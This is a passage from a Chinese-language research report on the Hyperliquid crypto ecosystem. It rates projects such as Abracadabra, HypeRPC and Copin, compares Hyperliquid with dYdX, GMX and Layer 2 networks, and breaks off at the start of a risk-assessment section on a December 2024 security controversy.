⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 知名跨链借贷平台，基于MIM稳定币</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://abracadabra.money/">abracadabra.money</a></li><li><strong>创始人 Twitter</strong>: <a href="https://twitter.com/danielesesta">@danielesesta</a></li></ul><p><strong>项目背景</strong>:</p><ul><li><strong>知名团队</strong>: Daniele Sestagalli领导，DeFi资深项目</li><li><strong>跨链经验</strong>: 在以太坊、Avalanche等多链部署</li><li><strong>MIM稳定币</strong>: 发行总量超10亿美元的稳定币</li><li><strong>技术成熟</strong>: 经过多轮市场检验的借贷机制</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 知名跨链项目):</p><ol><li><strong>品牌认知</strong>: 知名度和历史经验带来用户信任</li><li><strong>跨链桥接</strong>: 连接其他链的资金和用户</li><li><strong>产品成熟</strong>: Cauldron系列借贷产品经过市场验证</li><li><strong>稳定币生态</strong>: MIM稳定币在Hyperliquid的多元化应用</li></ol><p><strong>注意事项</strong>: 需要关注团队治理和风险管理的持续改进</p><h5 id="Hyperdrive-⭐⭐⭐⭐"><strong>Hyperdrive</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 创新的DeFi收益放大器</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hyperdrive.fi/">hyperdrive.fi</a></li><li><strong>Twitter</strong>: <a href="https://x.com/hyperdrivedefi">@hyperdrivedefi</a></li></ul><p><strong>核心产品</strong>:</p><ul><li><strong>3倍HLP头寸</strong>: 放大Hyperliquid流动性提供收益</li><li><strong>USDC借贷服务</strong>: 基于HLP抵押的借贷功能</li><li><strong>HYPE流动性解锁</strong>: 让锁定资产获得流动性</li><li><strong>多样化策略</strong>: 更多收益策略即将上线</li></ul><p><strong>技术创新</strong>:</p><ol><li><strong>杠杆LP</strong>: 通过借贷放大流动性挖矿收益</li><li><strong>风险管理</strong>: 自动化的头寸管理和风险控制</li><li><strong>资本效率</strong>: 最大化用户资金的收益率</li><li><strong>HypurrCo成员</strong>: 生态核心建设者项目</li></ol><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 创新收益产品): 满足高收益需求用户的多元化选择，产品差异化显著</p><h4 id="5-4-2-主要项目发展特点">5.4.2 主要项目发展特点</h4><p><strong>生态龙头项目</strong>:</p><ul><li><strong>Hyperlend</strong>: 生态第一大协议，TVL 3.06亿美元，为整个生态提供基础流动性</li><li><strong>Felix Protocol</strong>: 独特的CDP+借贷双模式，提供稳定币基础设施服务</li></ul><p><strong>技术创新项目</strong>:</p><ul><li><strong>GLIQUID</strong>: 采用先进V4 AMM技术，提供高效流动性解决方案</li><li><strong>Hyperdelta</strong>: 填补Hyperliquid期权交易市场空白</li><li><strong>Abracadabra</strong>: 带来成熟的跨链借贷经验和知名度</li><li><strong>Hyperdrive</strong>: 提供创新的收益放大和流动性解锁方案</li></ul><p><strong>基础设施项目</strong>:</p><ul><li><strong>HyperSwap</strong>: 作为基础DEX，为生态提供核心交易服务</li></ul><h4 id="5-4-3-基础设施类-生态支撑项目">5.4.3 基础设施类 - 生态支撑项目</h4><h5 id="HypeRPC-⭐⭐⭐⭐⭐"><strong>HypeRPC</strong> ⭐⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: Hyperliquid首个专用RPC基础设施提供商</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hyperpc.app/">hyperpc.app</a></li><li><strong>Twitter</strong>: <a href="https://twitter.com/hyperpc_">@hyperpc_</a></li></ul><p><strong>核心优势</strong>:</p><ul><li><strong>独家地位</strong>: Hyperliquid生态唯一专业RPC服务商</li><li><strong>企业级性能</strong>: 99.99%运行时间SLA，超低延迟(&lt;80ms)</li><li><strong>技术支撑</strong>: 由Imperator.co支持，4年+区块链基础设施经验</li><li><strong>全球覆盖</strong>: EU+JP多地区节点，地理优化分布</li></ul><p><strong>业务数据</strong>:</p><ul><li>已处理超过2000万次请求</li><li>支持高达45,000 RPS峰值</li><li>服务多样化客户群（DApp、交易机器人、机构）</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐⭐ - 垄断性基础设施):</p><ol><li><strong>关键地位</strong>: Hyperliquid生态基础设施的核心入口</li><li><strong>规模效应</strong>: 随着生态发展，RPC需求呈指数级增长</li><li><strong>技术优势</strong>: 专业优化的高性能服务难以复制</li><li><strong>商业模式</strong>: 订阅制+企业定制服务，收入模式稳定</li><li><strong>发展空间</strong>: 可扩展至数据分析、存档节点等增值服务</li></ol><h5 id="Goldsky-⭐⭐⭐⭐"><strong>Goldsky</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 高性能区块链数据索引和流处理平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://goldsky.com/">goldsky.com</a></li><li><strong>HyperEVM专页</strong>: <a href="https://goldsky.com/chains/hyperevm">goldsky.com/chains/hyperevm</a></li><li><strong>文档</strong>: <a href="https://docs.goldsky.com/chains/hyperevm">docs.goldsky.com/chains/hyperevm</a></li></ul><p><strong>技术特色</strong>:</p><ul><li>即时子图部署，无需维护</li><li>实时HyperEVM数据访问</li><li>自定义数据流管道</li><li>高性能索引服务</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 数据基础设施): 随着HyperEVM dApp数量增长，数据服务需求将快速增长</p><h5 id="Allium-⭐⭐⭐"><strong>Allium</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 面向机构的区块链数据提供商</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.allium.so/">allium.so</a></li><li><strong>Twitter</strong>: <a href="https://x.com/alliumlabs">@AlliumLabs</a></li><li><strong>Hyperliquid专页</strong>: <a href="https://hyperliquid.allium.so/">hyperliquid.allium.so</a></li></ul><p><strong>服务范围</strong>:</p><ul><li>历史和实时数据</li><li>互动仪表板</li><li>灵活API接口</li><li>定制化数据集成</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - B2B数据服务): 面向机构的专业数据服务，客户粘性强，商业价值高</p><h5 id="Hyperliquid-Names-⭐⭐⭐"><strong>Hyperliquid Names</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: Hyperliquid生态数字身份服务</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hlnames.xyz/">hlnames.xyz</a></li><li><strong>Twitter</strong>: <a href="https://x.com/hlnames">@hlnames</a></li><li><strong>文档</strong>: <a href="https://hyperliquid-names.gitbook.io/hyperliquid-names">hyperliquid-names.gitbook.io</a></li></ul><p><strong>产品价值</strong>:</p><ul><li>简化地址管理</li><li>提升用户体验</li><li>品牌识别服务</li><li>域名资产价值</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 数字身份): Web3身份基础设施，具有显著的网络效应特征</p><h5 id="Across-Protocol-⭐⭐⭐⭐"><strong>Across Protocol</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 领先的跨链互操作性协议</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://across.to/">across.to</a></li><li><strong>Twitter</strong>: <a href="https://x.com/acrossprotocol">@AcrossProtocol</a></li></ul><p><strong>核心技术</strong>:</p><ul><li><strong>基于意图的跨链</strong>: 采用intent-based架构</li><li><strong>速度领先</strong>: 目前生产环境中最快的跨链协议</li><li><strong>安全性</strong>: 无传统跨链桥的安全权衡</li><li><strong>成本效率</strong>: 最低成本的跨链传输解决方案</li></ul><p><strong>Hyperliquid价值</strong>:</p><ol><li><strong>资金流入</strong>: 为Hyperliquid生态带来外部流动性</li><li><strong>用户入口</strong>: 简化用户从其他链迁移的过程</li><li><strong>技术领先</strong>: intent-based跨链技术的先行者</li><li><strong>生态整合</strong>: 连接Hyperliquid与更广泛的DeFi生态</li></ol><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 跨链基础设施): 跨链互操作是多链时代的核心需求，技术和用户体验领先</p><h5 id="Codex-Data-⭐⭐⭐"><strong>Codex Data</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 最快速、准确的区块链数据API服务</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.codex.io/">codex.io</a></li></ul><p><strong>技术优势</strong>:</p><ul><li><strong>数据覆盖</strong>: 70+网络，2500万+代币数据</li><li><strong>实时性</strong>: 最快速的区块链数据获取</li><li><strong>准确性</strong>: 最可靠的数据质量保证</li><li><strong>易用性</strong>: 开发者友好的API接口</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 数据 API服务):</p><ul><li><strong>B2B服务</strong>: 专业的开发者和企业数据解决方案</li><li><strong>技术优势</strong>: 高质量的数据服务具有竞争壁垒</li><li><strong>规模效应</strong>: 数据规模扩大带来成本优势</li><li><strong>用户粘性</strong>: 开发者集成后具有较高的依赖性</li></ul><h4 id="5-4-4-交易工具与数据分析类-用户入口项目">5.4.4 交易工具与数据分析类 - 用户入口项目</h4><h5 id="Copin-⭐⭐⭐⭐"><strong>Copin</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 最大的链上跟单交易平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>Hyperliquid集成文档</strong>: <a href="https://docs.copin.io/features/decentralized-copy-trading-dcp/connect-hyperliquid">docs.copin.io/features/decentralized-copy-trading-dcp/connect-hyperliquid</a></li></ul><p><strong>核心优势</strong>:</p><ul><li><strong>用户规模</strong>: 支持分析70万+链上交易者</li><li><strong>多链覆盖</strong>: 30+永续DEX数据整合</li><li><strong>产品成熟度</strong>: 完整的发现-分析-跟单闭环</li><li><strong>Hyperliquid集成</strong>: 深度整合HyperCore交易数据</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 交易工具平台):</p><ol><li><strong>用户入口</strong>: 交易者发现和分析的重要门户</li><li><strong>数据优势</strong>: 多链交易数据的深度整合能力</li><li><strong>服务模式</strong>: 提供跟单服务和专业分析工具</li><li><strong>网络效应</strong>: 交易者数量增加提升平台整体价值</li><li><strong>发展空间</strong>: 可扩展至组合管理、风控等高级功能</li></ol><h5 id="Defined-fi-⭐⭐⭐⭐"><strong><a href="http://Defined.fi">Defined.fi</a></strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 多链交易终端和筛选工具</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.defined.fi/">defined.fi</a></li><li><strong>Twitter</strong>: <a href="https://x.com/definedfi">@definedfi</a></li></ul><p><strong>产品特色</strong>:</p><ul><li>快速安全的多链交易</li><li>实时代币筛选器</li><li>高级交易分析</li><li>移动端优化</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 多链交易终端): 多链整合能力突出，用户体验和可用性优秀</p><h5 id="Coinperps-⭐⭐⭐"><strong>Coinperps</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 永续期货专业分析平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.coinperps.com/">coinperps.com</a></li></ul><p><strong>核心功能</strong>:</p><ul><li>实时资金费率追踪</li><li>持仓量和清算数据</li><li>交易量监控</li><li>多平台数据对比</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 专业分析工具): 为永续交易者提供关键的市场数据和决策支持</p><h5 id="HyperDash-⭐⭐⭐"><strong>HyperDash</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: Hyperliquid排行榜交易者追踪</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hyperdash.info/">hyperdash.info</a></li></ul><p><strong>特色服务</strong>:</p><ul><li>顶级交易者排名</li><li>交易策略分析</li><li>收益率追踪</li><li>社区功能</li></ul><h5 id="Brahma-⭐⭐⭐⭐"><strong>Brahma</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 自动化金融应用编排层</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://brahma.fi/">brahma.fi</a></li><li><strong>Twitter</strong>: <a href="https://x.com/brahmafi">@BrahmaFi</a></li></ul><p><strong>核心价值</strong>:</p><ul><li><strong>编排能力</strong>: 自动化复杂的DeFi工作流程</li><li><strong>跨链支持</strong>: 统一管理多链资产和交易</li><li><strong>无需智能合约</strong>: 简化部署和资金管理复杂性</li><li><strong>企业级</strong>: 为机构和高净值用户提供专业服务</li></ul><p><strong>产品优势</strong>:</p><ol><li><strong>自动化</strong>: 复杂DeFi策略的一键执行</li><li><strong>风险管理</strong>: 内置风险控制和监控机制</li><li><strong>效率提升</strong>: 大幅降低手动操作的时间成本</li><li><strong>资金安全</strong>: 用户资金托管的创新解决方案</li></ol><p><strong>生态价值</strong> (⭐⭐⭐⭐ - DeFi自动化工具): DeFi复杂度增加催生对自动化解决方案的强烈需求，专业用户依赖度高</p><h5 id="Altitude-⭐⭐⭐"><strong>Altitude</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 下一代区块链交易体验</p><p><strong>产品特色</strong>:</p><ul><li><strong>全方位基础设施</strong>: 完整的交易基础设施解决方案</li><li><strong>高性能</strong>: 专为高频交易优化的系统架构</li><li><strong>用户体验</strong>: 简化复杂交易操作的界面设计</li><li><strong>多功能集成</strong>: 交易、分析、管理一体化平台</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 交易基础设施): 专为Hyperliquid优化的高性能交易解决方案</p><h5 id="Chainpro-⭐⭐⭐"><strong>Chainpro</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 高级链上交易终端</p><p><strong>核心功能</strong>:</p><ul><li><strong>多生态覆盖</strong>: 支持多个区块链生态的交易</li><li><strong>专业工具</strong>: 为专业交易者设计的高级功能</li><li><strong>实时分析</strong>: 集成市场分析和数据工具</li><li><strong>自定义界面</strong>: 可定制的交易界面</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 专业交易工具): 为专业交易者和量化团队提供高级功能和定制化服务</p><h5 id="数据分析工具补充-⭐⭐⭐"><strong>数据分析工具补充</strong> ⭐⭐⭐</h5><p><strong>HypeFlows</strong> - Hyperliquid与CEX交易统计对比</p><ul><li>独特定位：专门追踪Hyperliquid vs 中心化交易所数据</li><li><strong>生态价值</strong>: 为交易者提供平台对比分析和选择依据</li></ul><p><strong>Hyperscanner</strong> - 统一L1+EVM分析平台</p><ul><li>技术优势：同时分析HyperCore和HyperEVM数据</li><li><strong>生态价值</strong>: 全面的Hyperliquid生态状态监控和分析</li></ul><p><strong>Hyperstats</strong> - 独立统计平台</p><ul><li>中立立场：独立于官方的数据分析</li><li><strong>生态价值</strong>: 为社区提供客观独立的数据分析视角</li></ul><p><strong>Hyperterminal</strong> - 实时交易洞察</p><ul><li>实时性：专注实时市场数据和交易机会</li><li><strong>生态价值</strong>: 为交易决策提供实时数据支持和洞察</li></ul><h4 id="5-4-5-移动应用类-移动端突破项目">5.4.5 移动应用类 - 移动端突破项目</h4><h5 id="Avy-⭐⭐⭐⭐"><strong>Avy</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: iOS原生Hyperliquid交易应用</p><p><strong>官方资源</strong>:</p><ul><li><strong>iOS App Store</strong>: <a href="https://apps.apple.com/us/app/oneshot-for-hyperliquid/id6742009042">OneShot for Hyperliquid</a></li><li><strong>替代选择</strong>: <a href="https://apps.apple.com/us/app/lootbase-for-hyperliquid/id6742149218">Lootbase for Hyperliquid</a></li></ul><p><strong>产品创新</strong>:</p><ul><li>无需邮箱注册，扫码即用</li><li>专为移动端优化的UI/UX</li><li>原生iOS性能优势</li><li>快速交易执行</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 移动端入口): 移动端是加密交易的重要增长领域，原生应用提供优于网页版的体验</p><h5 id="Based-App-⭐⭐⭐"><strong>Based App</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 综合加密货币支付和交易平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://basedapp.io/">basedapp.io</a></li></ul><p><strong>功能覆盖</strong>:</p><ul><li>加密货币支付</li><li>多链交易支持</li><li>钱包管理</li><li>Hyperliquid集成</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 综合金融应用): 支付+交易一体化模式，提供更广泛的用户应用场景</p><h4 id="5-4-6-跨链桥接与AI创新类-前沿技术项目">5.4.6 跨链桥接与AI创新类 - 前沿技术项目</h4><h5 id="Gasyard-⭐⭐⭐⭐"><strong>Gasyard</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 跨VM桥接协议（10秒内完成跨链）</p><p><strong>官方资源</strong>:</p><ul><li><strong>参考</strong>: 多个跨链桥接服务提及，具体链接可通过Hyperliquid生态查找</li></ul><p><strong>技术创新</strong>:</p><ul><li>支持EVM、Solana、Aptos、Sui、Bitcoin和Hyperliquid</li><li>基于意图的系统和求解器网络</li><li>优化手续费和用户体验</li><li>超快速跨链传输（&lt;10秒）</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 创新跨链技术): 跨VM桥接是多链时代的核心需求，技术创新和速度优势显著</p><h5 id="HyBridge-⭐⭐⭐"><strong>HyBridge</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: 专注Hyperliquid的多链资产桥接</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hybridge.xyz/">hybridge.xyz</a></li></ul><p><strong>服务特色</strong>:</p><ul><li>6个EVM链+ Solana + BTC → Hyperliquid USDC</li><li>闪电般速度的资产转移</li><li>支持100+代币</li><li>HypurrCo成员项目</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 专用跨链桥): 为Hyperliquid生态发展提供资金流入支持</p><h5 id="HyperSignals-⭐⭐⭐⭐"><strong>HyperSignals</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: AI驱动的交易信号分析平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>Twitter</strong>: <a href="https://twitter.com/HyperSignals_ai">@HyperSignals_ai</a></li></ul><p><strong>核心能力</strong>:</p><ul><li>Hyperliquid订单簿模式识别</li><li>聪明钱动向追踪</li><li>链下情绪分析</li><li>实时Alpha信号生成</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - AI交易分析): AI+交易是高价值细分领域，专业交易者对智能分析工具的需求强烈</p><h5 id="FRACTRADE-⭐⭐⭐"><strong>FRACTRADE</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: AI交易代理创建和管理平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://fractrade.xyz/">fractrade.xyz</a></li><li><strong>白皮书</strong>: <a href="https://fractrade.xyz/whitepaper/">fractrade.xyz/whitepaper</a></li></ul><p><strong>产品功能</strong>:</p><ul><li>AI交易机器人创建</li><li>自动化交易策略</li><li>机器人性能监控</li><li>策略市场</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - AI交易机器人): 自动化交易需求增长，为普通用户降低交易技术门槛</p><h4 id="5-4-7-社区建设与DAO类-生态组织力量">5.4.7 社区建设与DAO类 - 生态组织力量</h4><h5 id="HypurrCollective-生态核心建设者联盟"><strong>HypurrCollective</strong> - 生态核心建设者联盟</h5><p><strong>定位</strong>: 创始人、建设者、做市商、KOL和超级用户的集体组织</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.hypurr.co/">hypurr.co</a></li><li><strong>Twitter</strong>: <a href="https://x.com/hypurr_co">@hypurr_co</a></li><li><strong>生态项目页面</strong>: <a href="https://www.hypurr.co/ecosystem-projects">hypurr.co/ecosystem-projects</a><br><strong>价值</strong>:</li><li>项目孵化和启动平台</li><li>生态资源整合和协调</li><li>为成员项目提供支持和背书</li><li>推动生态协同发展</li></ul><h5 id="Catalyst-Builders-DAO-CBD-社区驱动建设"><strong>Catalyst Builders DAO (CBD)</strong> - 社区驱动建设</h5><p><strong>使命</strong>: 通过社区力量塑造Hyperliquid生态系统<br><strong>功能</strong>:</p><ul><li>社区治理和决策参与</li><li>项目提案和投票机制</li><li>建设者激励和支持</li><li>生态发展方向引导</li></ul><h5 id="全球本地化社区网络"><strong>全球本地化社区网络</strong></h5><p><strong>覆盖地区</strong>: 印度、韩国、印尼、菲律宾、英国、法国、西班牙、俄语区、巴尔干地区等<br><strong>战略意义</strong>:</p><ul><li>本地化用户教育和推广</li><li>降低文化和语言壁垒</li><li>扩大全球用户基础</li><li>建立区域性生态合作</li></ul><h4 id="5-4-8-NFT与创新应用类-新兴领域探索">5.4.8 NFT与创新应用类 - 新兴领域探索</h4><h5 id="NFT生态概况"><strong>NFT生态概况</strong></h5><ul><li><strong>总交易量</strong>: 超过<strong>130万美元</strong>NFT交易量</li><li><strong>知名系列</strong>: Wealthy Hypio Babies、K-16等热门NFT系列</li><li><strong>AI游戏</strong>: TheFarm.fun等AI驱动游戏项目市值达<strong>4000万美元</strong></li><li><strong>生态整合</strong>: MON Protocol整合<strong>100多个合作伙伴</strong>项目</li></ul><h5 id="BAE-首个NFT借贷协议"><strong>BAE</strong> - 首个NFT借贷协议</h5><p><strong>创新价值</strong>:</p><ul><li>NFT流动性解锁：为借款人提供即时流动性</li><li>高收益机会：为放贷人提供高年化收益</li><li>NFT持有者双重收益分享机制</li></ul><p><strong>官方资源</strong>:</p><ul><li><strong>Twitter</strong>: <a href="https://x.com/BaeOfHL">@BaeOfHL</a><br><strong>市场潜力</strong>: NFT金融化的重要基础设施</li></ul><h5 id="Drip-Trade-NFT市场-启动平台"><strong>Drip Trade</strong> - NFT市场+启动平台</h5><p><strong>功能覆盖</strong>: NFT交易市场 + 项目启动平台<br><strong>差异化</strong>: 专注Hyperliquid生态的NFT项目</p><h5 id="Farm-Fun-自主AI生物游戏"><strong>Farm Fun</strong> - 自主AI生物游戏</h5><p><strong>产品特色</strong>:</p><ul><li>完全链上的自主AI生物系统</li><li>生物在The Farm中自主生存和进化</li><li>GameFi + AI的创新结合</li><li>HypurrCo成员项目，质量保证</li></ul><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://www.thefarm.fun/">thefarm.fun</a></li><li><strong>Twitter</strong>: <a href="https://x.com/thefarmdotfun">@thefarmdotfun</a></li></ul><h4 id="5-4-9-GambleFi与娱乐类-新兴娱乐金融">5.4.9 GambleFi与娱乐类 - 新兴娱乐金融</h4><h5 id="HyperFun-全能GambleFi代币"><strong>HyperFun</strong> - 全能GambleFi代币</h5><p><strong>定位</strong>: Hyperliquid首个全方位GambleFi通缩代币<br><strong>特色</strong>: 集成多种博彩和娱乐功能的代币生态</p><h5 id="Head-to-Head-社交下注平台"><strong>Head to Head</strong> - 社交下注平台</h5><p><strong>概念</strong>: “Put your money where your mouth is” - 让人们为自己的观点下注<br><strong>创新</strong>: 社交化的预测市场和下注平台<br><strong>用户体验</strong>: 将观点表达与经济激励结合</p><h2 id="6-市场竞争分析">6. 市场竞争分析</h2><p>本章通过深入的竞争分析，明确Hyperliquid在去中心化交易赛道中的独特定位和竞争优势。</p><h3 id="6-1-竞争定位重新框定">6.1 竞争定位重新框定</h3><h4 id="6-1-1-Hyperliquid-vs-Layer-2：不同维度的价值主张">6.1.1 Hyperliquid vs Layer 2：不同维度的价值主张</h4><p><strong>Hyperliquid价值主张</strong>：</p><ul><li><strong>垂直专业化</strong>: “做那些在以太坊或其L2上因架构限制而不可能实现的事”</li><li><strong>金融操作系统</strong>: 专为高频、资本密集型专业金融市场设计</li><li><strong>原子化可组合性</strong>: 统一状态下的确定性金融操作，10倍产品改进</li></ul><p><strong>Layer 2价值主张</strong>：</p><ul><li><strong>水平扩展</strong>: “在以太坊上做同样的事，但更便宜、更快”</li><li><strong>通用计算</strong>: 扩展以太坊的通用计算能力至更广泛的DeFi、NFT、游戏</li><li><strong>继承安全</strong>: 借用以太坊的安全预算，降低引导成本</li></ul><h4 id="6-1-2-应用场景差异">6.1.2 应用场景差异</h4><p><strong>Hyperliquid适用场景</strong>：</p><ul><li>自动在链上订单簿进行delta对冲的结构化产品</li><li>原子化读取预言机价格并直接交易抵押品的借贷清算</li><li>复杂金融策略的一键原子执行</li></ul><p><strong>Layer 2适用场景</strong>：</p><ul><li>通用DeFi应用的成本优化</li><li>NFT和游戏等长尾市场</li><li>现有以太坊应用的性能提升</li></ul><h3 id="6-2-传统竞争对比分析">6.2 传统竞争对比分析</h3><pre><code class="highlight mermaid">graph TD    A[Hyperliquid竞争对比分析] --&gt; B[永续交易协议]    A --&gt; C[Layer 2扩容方案]    A --&gt; D[其他Layer 1]    B --&gt; B1[dYdX&lt;br/&gt;📉 市场份额: 73%→7%&lt;br/&gt;⚙️ 架构: StarkEx Validium&lt;br/&gt;⚡ 性能: 1-2s区块时间]    B --&gt; B2[GMX&lt;br/&gt;💰 模式: GLP池子&lt;br/&gt;📊 流动性: 合成资产&lt;br/&gt;⚠️ 风险: 不平衡风险]    B --&gt; B3[Vertex&lt;br/&gt;🔗 架构: Arbitrum Layer 2&lt;br/&gt;📈 增长: 快速发展&lt;br/&gt;💡 特色: 混合模式]    C --&gt; C1[Arbitrum&lt;br/&gt;🔧 通用计算扩展&lt;br/&gt;💎 继承以太坊安全&lt;br/&gt;📱 广泛DeFi生态]    C --&gt; C2[Optimism&lt;br/&gt;⚡ 乐观Rollup&lt;br/&gt;🏗️ 通用应用平台&lt;br/&gt;🌍 以太坊兼容性]    C --&gt; C3[Polygon&lt;br/&gt;🚀 侧链解决方案&lt;br/&gt;💰 低成本交易&lt;br/&gt;🔗 多链互操作]    D --&gt; D1[Solana&lt;br/&gt;⚡ 高TPS主链&lt;br/&gt;🏛️ 统一全局状态&lt;br/&gt;💡 创新共识机制]    D --&gt; D2[Avalanche&lt;br/&gt;❄️ 子网架构&lt;br/&gt;🔧 应用特定链&lt;br/&gt;⚡ 快速最终性]    E[Hyperliquid优势] --&gt; E1[📊 60%+市场份额&lt;br/&gt;⚡ 亚秒级最终性&lt;br/&gt;💰 零gas费用&lt;br/&gt;🏛️ 统一状态管理]    E --&gt; E2[🔗 原生订单簿流动性&lt;br/&gt;📈 20亿+美元TVL&lt;br/&gt;🚀 专用金融架构&lt;br/&gt;🛡️ 自主控制执行环境]    style A fill:#f9f,stroke:#333,stroke-width:2px    style E fill:#9f9,stroke:#333,stroke-width:2px    style E1 fill:#afa,stroke:#333,stroke-width:1px    style E2 fill:#afa,stroke:#333,stroke-width:1px</code></pre><h4 id="6-2-1-与dYdX对比">6.2.1 与dYdX对比</h4><p><strong>市场份额变化</strong>:</p><ul><li><strong>Hyperliquid</strong>: 占据60%+市场份额</li><li><strong>dYdX</strong>: 从73%下降至仅7%</li></ul><p><strong>架构对比</strong>:</p><ul><li><strong>Hyperliquid</strong>: 主权L1，完全控制执行环境</li><li><strong>dYdX</strong>: StarkEx Validium，依赖以太坊最终性</li></ul><p><strong>性能对比</strong>:</p><ul><li><strong>Hyperliquid</strong>: 亚秒级最终性，零gas费用，统一状态</li><li><strong>dYdX</strong>: 1-2秒区块时间，收取代币费用，跨合约异步</li></ul><h4 id="6-2-2-与GMX对比">6.2.2 与GMX对比</h4><p><strong>交易量对比</strong>:</p><ul><li><strong>Hyperliquid</strong>: 日交易量超100亿美元</li><li><strong>GMX</strong>: 月度交易量仅1.98亿美元且呈下降趋势</li></ul><p><strong>机制创新</strong>:</p><ul><li><strong>Hyperliquid</strong>: CLOB + 预编译合约，价格发现和资本效率并重</li><li><strong>GMX</strong>: AMM/预言机模型，在山寨币上可能产生高滑点</li></ul><h3 id="6-3-用户体验指标">6.3 用户体验指标</h3><ul><li><strong>每用户平均收入</strong>: 从1,776美元增加到2,953美元</li><li><strong>每用户月均交易量</strong>: 约1000万美元</li><li><strong>用户盈利率</strong>: 96%的活跃金库用户报告正向盈亏</li><li><strong>用户留存</strong>: 卓越的用户保留率和参与度</li></ul><h2 id="7-竞争优势">7. 竞争优势</h2><p>本章总结Hyperliquid在技术、生态、产品和战略四个维度的核心竞争优势。</p><h3 id="7-1-技术优势">7.1 技术优势</h3><ul><li>自研区块链和共识算法，性能优异</li><li>HyperCore + HyperEVM的创新架构</li><li>完全链上订单簿，透明度高</li><li>零燃气费交易体验</li></ul><h3 id="7-2-生态优势">7.2 生态优势</h3><ul><li>快速增长的开发者生态</li><li>丰富的DeFi、工具和基础设施项目</li><li>活跃的全球社区支持</li><li>无投资者约束，社区驱动发展</li></ul><h3 id="7-3-产品优势">7.3 产品优势</h3><ul><li>一键交易体验</li><li>高达50倍杠杆支持</li><li>即时交易确认（&lt;1秒）</li><li>maker返佣和低taker费用</li></ul><h3 id="7-4-战略优势">7.4 战略优势</h3><ul><li>统一的金融生态系统愿景</li><li>自主开发团队，来自顶级机构</li><li>无外部资本影响的独立发展</li><li>持续的技术创新和优化</li></ul><h2 id="8-安全事件与风险评估">8. 安全事件与风险评估</h2><p>本章客观分析Hyperliquid面临的安全风险和潜在挑战，为投资决策提供风险评估依据。</p><h3 id="8-1-2024年12月安全争议">8.1 2024年12月安全争议</h3><p><strong>事件概述</strong>:</p><ul><li>MetaMask研究员Taylor Monahan发现与朝鲜黑客相关的可疑钱包活动</li><li>30小时内流出<strong>2.56亿美元</strong>资金</li><li>HYPE代币价格下跌25%</li></ul><p><strong>官方回应</strong>:</p><ul><li>Hyperliquid Labs坚决否认存在任何漏洞</li><li>声明所有用户资金安全</li><li>但验证者数量相对较少的中心化问题引发持续关注（从4个扩展至16个验证者）</li></ul><h3 id="8-2-主要风险因素">8.2 主要风险因素</h3><pre><code class="highlight mermaid">graph TD    A[Hyperliquid风险评估矩阵] --&gt; B[中心化风险]    A --&gt; C[技术与安全风险]    A --&gt; D[其他风险因素]    B --&gt; B1[验证者集中化&lt;br/&gt;🔴 高风险&lt;br/&gt;📊 